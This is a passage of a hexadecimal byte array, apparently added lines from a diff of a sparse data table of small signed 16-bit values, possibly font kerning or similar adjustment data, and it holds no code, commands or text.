0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x15, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF8, 0xFF, 0xCD, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xA8, 0x00, 0x00, + 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFC, 0x00, 0x00, 0xFF, 0xF1, 0xFF, 0xEE, + 0x00, 0x10, 0x00, 0x0F, 0x00, 0x00, 0xFF, 0xFA, + 0x00, 0x00, 0x00, 0x07, 0x00, 0x0F, 0x00, 0x00, + 0x00, 0x0D, 0xFF, 0xAA, 0xFF, 0xE8, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE7, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE5, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0x7D, 0xFF, 0xBC, 0x00, 0x00, + 0xFF, 0xFD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x94, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF2, 0xFF, 0xFB, + 0x00, 0x00, 0xFF, 0xF0, 0xFF, 0xE8, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xDA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFC, + 0xFF, 0xB4, 0x00, 0x15, 0xFF, 0xDE, 0xFF, 0xD8, + 0x00, 0x00, 0xFF, 0xBD, 0xFF, 0xFA, 0xFF, 0xEA, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF8, 0x00, 0x00, 0xFF, 0xA3, + 0xFF, 0xED, 0xFF, 0xFD, 0x00, 0x25, 0xFF, 0xF7, + 0xFF, 0xF6, 0xFF, 0xE9, 0x00, 0x00, 0xFF, 0xFC, + 0x00, 0x04, 0xFF, 0xE7, 0x00, 0x00, 0xFF, 0xAA, + 0xFF, 0x8C, 0x00, 0x00, 0xFF, 0xD8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFB, 0xFF, 0x9D, 0xFF, 0xF8, 0xFF, 0xDB, + 0xFF, 0xE4, 0xFF, 0xE0, 0x00, 0x09, 0xFF, 0xBD, + 0x00, 0x03, 0xFF, 0xEC, 0xFF, 0xEC, 0xFF, 0xFB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x1D, + 0xFF, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x7E, + 0x00, 0x00, 0x00, 0x23, 0x00, 0x10, 0xFF, 0xA8, + 0x00, 0x21, 0xFF, 0xD1, 0x00, 0x08, 0xFF, 0xD8, + 0xFF, 0xB6, 0x00, 0x09, 0xFF, 0xD2, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x04, 0x00, 0x00, 0xFF, 0xA0, 0xFF, 0xFB, + 0x00, 0x16, 0x00, 0x25, 0x00, 0x09, 0x00, 0x19, + 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x23, 0x00, 0x16, + 0xFF, 0xDD, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x99, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x13, 0x00, 0x2A, 0xFF, 0xA9, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFA, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, + 0xFF, 0xFC, 0xFF, 0xFA, 0xFF, 0xB1, 0x00, 0x00, + 0xFF, 0xF7, 0xFF, 0xFD, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF2, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF8, + 0x00, 0x00, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xBC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xED, 0x00, 0x0D, 0x00, 0x00, + 0xFF, 0xEE, 0x00, 0x04, 0xFF, 0xE3, 0xFF, 0xE3, + 0xFF, 0xEB, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF7, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF2, 0x00, 0x00, 0xFF, 0xF6, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00, 0x08, + 0xFF, 0xD7, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0D, + 0x00, 0x05, 0x00, 0x14, 0x00, 0x09, 0x00, 0x08, + 0x00, 0x0D, 0x00, 0x04, 0x00, 0x00, 0xFF, 0xE7, + 0x00, 0x00, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x07, + 0x00, 0x0E, 0x00, 0x00, 0xFF, 0xEB, 0xFF, 0xF6, + 0xFF, 0xE3, 0xFF, 0xF9, 0xFF, 0xF4, 0xFF, 0xE5, + 0xFF, 0xD6, 0x00, 0x04, 0xFF, 0xFA, 0xFF, 0xE6, + 0xFF, 0xEB, 0x00, 0x00, 0xFF, 0xDA, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF9, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0xFF, 0xD7, + 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF9, 0x00, 0x00, 0xFF, 0xE6, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF4, 0x00, 0x19, 0xFF, 0xFB, 0xFF, 0xF5, + 0x00, 0x05, 0x00, 0x0C, 0xFF, 0xEC, 0xFF, 0xF8, + 0x00, 0x0F, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEB, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD3, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF7, 0x00, 0x00, + 0xFF, 0xEF, 0xFF, 0xF7, 0xFF, 0xD8, 0xFF, 0xDB, + 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xFB, 0x00, 0x00, 0xFF, 0xF1, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF6, 0xFF, 0xEE, 0x00, 0x00, + 0xFF, 0xB1, 0x00, 0x00, 0xFF, 0xEB, 0xFF, 0xCD, + 0x00, 0x00, 0xFF, 0xED, 0x00, 0x00, 0xFF, 0xD8, + 0xFF, 0xE0, 0x00, 0x00, 0xFF, 0xD8, 0x00, 0x11, + 0xFF, 0xDB, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF3, + 0xFF, 0xDF, 0x00, 0x00, 0xFF, 0xCC, 0xFF, 0xD3, + 0xFF, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, + 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, + 0x00, 0x0F, 0x00, 0x06, 0xFF, 0xCA, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF6, 0xFF, 0xEE, 0x00, 0x00, 0xFF, 0xAF, + 0x00, 0x00, 0xFF, 0xF0, 0xFF, 0xBD, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDB, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF4, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xEC, 0xFF, 0xD0, 0xFF, 0xF4, + 0xFF, 0xF5, 0x00, 0x0C, 0xFF, 0xDF, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEC, 0xFF, 0xF1, 0xFF, 0xF5, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, + 0xFF, 0xCA, 0x00, 0x12, 0x00, 0x06, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, + 0x00, 0x22, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, + 0x00, 0x0B, 0xFF, 0xEF, 0xFF, 0xF3, 0xFF, 0xF2, + 0x00, 0x09, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF4, 0xFF, 0xF2, + 0xFF, 0xEB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 